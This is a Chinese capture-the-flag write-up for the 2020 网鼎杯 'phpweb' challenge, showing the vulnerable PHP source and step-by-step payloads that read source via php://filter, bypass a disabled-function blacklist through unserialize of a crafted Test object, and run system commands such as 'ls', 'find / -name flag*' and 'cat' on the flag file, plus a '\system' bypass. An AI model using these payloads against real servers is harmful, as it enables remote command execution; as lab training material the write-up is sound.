首页 > 编程语言 >[网鼎杯 2020 朱雀组]phpweb

[网鼎杯 2020 朱雀组]phpweb

时间:2024-09-23 18:34:05浏览次数:6  
标签:phpweb system flag 2020 func 参数 网鼎杯 payload

[网鼎杯 2020 朱雀组]phpweb

JArxpQSWTPo8boDmZ9U8rOlzI8141b_KuNH1yyCegAs

进来的页面不对劲,虽然不知道什么梗但是有一说一确实丑,如果注意一下还会发现这个页面在不断刷新,先抓个包看看。

发现这里上传了两个参数,分别是func和p。

leMWMuk9QoFr3-Lnbpb8k4_NM7EJeElBzfh8JeTb-14

对两个参数与返回值进行分析,我们使用date时一般是这种格式:date("Y-m-d+h:i:s+a"),那我们可以猜测func参数接受的是一个函数,p参数接受的是函数执行的内容,我们可以输入参数md5和1进行测试,结果如下:

HEAHGu2cXoKP5ZjRzLPYvWmTCzgKZy012ubb2_JVhi4

那我们就尝试读取下当前的目录信息,payload:func=system&p=ls,

fs4zK-7fZ_3RIzwppwpbPusoVf60Jm8LmlLbM1igq0E

显示hacking,应该是被过滤掉了,因此我们考虑读取下源码信息,payload:func=file_get_contents&p=php://filter/read=convert.base64-encode/resource=index.php,对获得的字母串进行base64解码,结果如下:

TWxP6WPG4j8o8Z9Ruts0JaYGmwJnaxF8MIG7XRIEEC4

<!DOCTYPE html>
<html>
<head>
    <title>phpweb</title>
    <style type="text/css">
        body {
            background: url("bg.jpg") no-repeat;
            background-size: 100%;
        }
        p {
            color: white;
        }
    </style>
</head>

<body>
<script language=javascript>
    setTimeout("document.form1.submit()",5000)
</script>
<p>
    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
</p>
<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

在代码里注意到了__destruct()函数,此函数会在类被销毁时调用,那我们如果反序列化一个类,在类里的参数中写上我们要执行的代码和函数,这样的话就会直接调用gettime函数,而不会执行in_array($func,$disable_fun),那我们就绕过了黑名单的判断。

<?php
class Test {
    var $p = "ls";
    var $func = "system";
    }
$test = new Test();
$str = serialize($test);
print($str);
?> 

G-phOK65fCEXrSEgh7RQJr-3-CTygTu9lzCO42ZAcqI

WJrp32ThhFoTZ-E16RDCtvrHP0I-syGkyJ-LaZ2H7Qc

成功绕过黑名单获取到当前的目录信息,那我们就修改下传递的参数,查找下flag的位置信息,payload:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find+/+-name+flag*";s:4:"func";s:6:"system";} ,结果如下:

<?php
class Test {
    var $p = "find / -name flag*";
    var $func = "system";
    }
$test = new Test();
$str = serialize($test);
print($str);
?> 

VFfEkRztWm9nMX3QMC9nPYmDXJckmU9WKIb-jbTtWIE

获得flag文件位置信息后,修改传递的参数读取下flag值,payload:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat+/tmp/flagoefiu4r93";s:4:"func";s:6:"system";} ,结果如下:

<?php
class Test {
    var $p = "cat /tmp/flagoefiu4r93";
    var $func = "system";
    }
$test = new Test();
$str = serialize($test);
print($str);
?> 

Zh0T6TfWqYL9YGhOXyGXL3HhdkivxYdgFs_tDz4PvH8

这里补充下另外一种绕过黑名单的方式,第三步中的读取目录信息,可以修改payload:func=\system&p=ls,也可以获得目录信息,结果如下:

8R5W74lP1OVy8OWsERCKSHTI7nSYIdI0Hol9aN2iT_k

\system可以绕过黑名单的原因:php内的" \ "在做代码执行的时候,会识别特殊字符串。

标签:phpweb,system,flag,2020,func,参数,网鼎杯,payload
From: https://www.cnblogs.com/fishjumpriver/p/18427637

相关文章

  • [答疑]《分析模式》2020中译本翻译水平怎样
    DDD领域驱动设计批评文集做强化自测题获得“软件方法建模师”称号《软件方法》各章合集albert2024-9-1920:16学习了多集您做的分析模式视频,发现在比对环节2004版普遍比2020版正确。是否可以得出结论2004版本更好?我现在学习用2020版,是否需要找一个老版本,或者老师推荐一些......
  • 优秀的拆分(csp2020入门级1)
    一般来说,一个正整数可以拆分成若干个正整数的和。例如,1=1,10=1+2+3+4等。 对于正整数n的一种特定拆分,我们称它为“优秀的”,当且仅当在这种拆分下,n被分解为了若干个不同的2的正整数次幂。注意,一个数x能被表示成2的正整数次幂,当且仅当x能通过正整数个2相乘在一起得到。 例如,10......
  • Shiro-认证绕过漏洞(CVE-2020-1957)
    目录漏洞原理源码分析与复现影响版本漏洞原理核心点就是shiro和spring对uri进行配合匹配的时候有缺陷导致的,shiro中很轻易就能绕过,其次spring中对;分号好像情有独钟,被大牛们发现后也就一下子绕过了。主流payload:/xxx/..;/admin/具体后台路由不一定是admin,得看情况而定,但是下面......
  • SketchUp v2020 激活版下载与安装教程 (强大的绘图三维建模工具)
    前言Sketchup草图大师专业版,一套面向建筑师、城市规划专家、制片人、游戏开发者以及相关专业人员的3D建模程序,全球知名的三维建模软件,强大的绘图工具、建模渲染、扩展插件和渲染器模板、海量3D模型库及建模灯光材质渲染效果图,用于建筑师、城市规划专家、游戏开发等行业。下载地址......
  • 实操触发器的使用 mysql 20240918_102020
    需求新建日志表用于记录老师表的数据化情况起个名字teacher_log需要的列idoperationmsg建老师日志表CREATETABLEteacher_log( idINTPRIMARYKEYAUTO_INCREMENT, operationVARCHAR(11)NOTNULL, msgVARCHAR(200)NOTNULL);定义添加触发器如果往老师表tea......
  • CS 61A Fall 2020 起步
    今天在曹大的知识星球立了一个flag,如下: 为什么会想到立这个flag呢?自己从本科的时候,就对计算机“感兴趣”,考研的时候选择了国内计算机名校的计算机专业,但是在读研期间写的代码并不多,没有从写代码中获得持续的正反馈。去年,我入职了一家国企,从事软件开发工作,刚入职的时候就开......
  • 【数据分享】1975-2020年人口密度POP栅格数据
    数据来源GHS-POP空间栅格产品(GHS-POP_GLOBE_R2023)描绘了人口的分布,表示为每个单元的人数。这个数据集描述了人口的分布和密度,以每个单元的人数表示,1975年-2020年,五年间隔,空间分辨率1000m.官网下载地址:https://human-settlement.emergency.copernicus.eu/download.php?ds=po......
  • 2020 ICPC 上海赛区
    赛时6题。第七题我写的没de出来(给队友跪了)xixike哥太强了有5题代码都是他写的(我只写了半题)ggxxdd哥也非常强特别会数学题。只有我什么都不会G,B都是队友切的签到,没看M:虽然会有重复的,但只要把前缀一起放到map里去就不会有任何重复的点因此可以打标记,这样就能建树了。然后就是......
  • [ACTF2020 新生赛]Upload
    启动靶机,发现有前端验证先绕过前端验证,在burp中尝试发现验证在文件名后缀,且会重命名文件名发现.ini能上传但是会被重命名,既然不像前端显示只有三种格式能上传,这里我们寻找能绕过的后缀尝试发现phtml能上传成功//PHTML扩展名是PHP的一个模块,它允许在HTML文件中使用PHP......
  • [BJDCTF2020]Cookie is so stable
    首先这题flag模块有个登录页面抓包可以看到user=123,最后会返回hello123,这里就很像ssti注入,输入user={{2*3}}最后也是返回成功了,而且处理器是php,常见模块有:twig,smarty,blade输入user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}......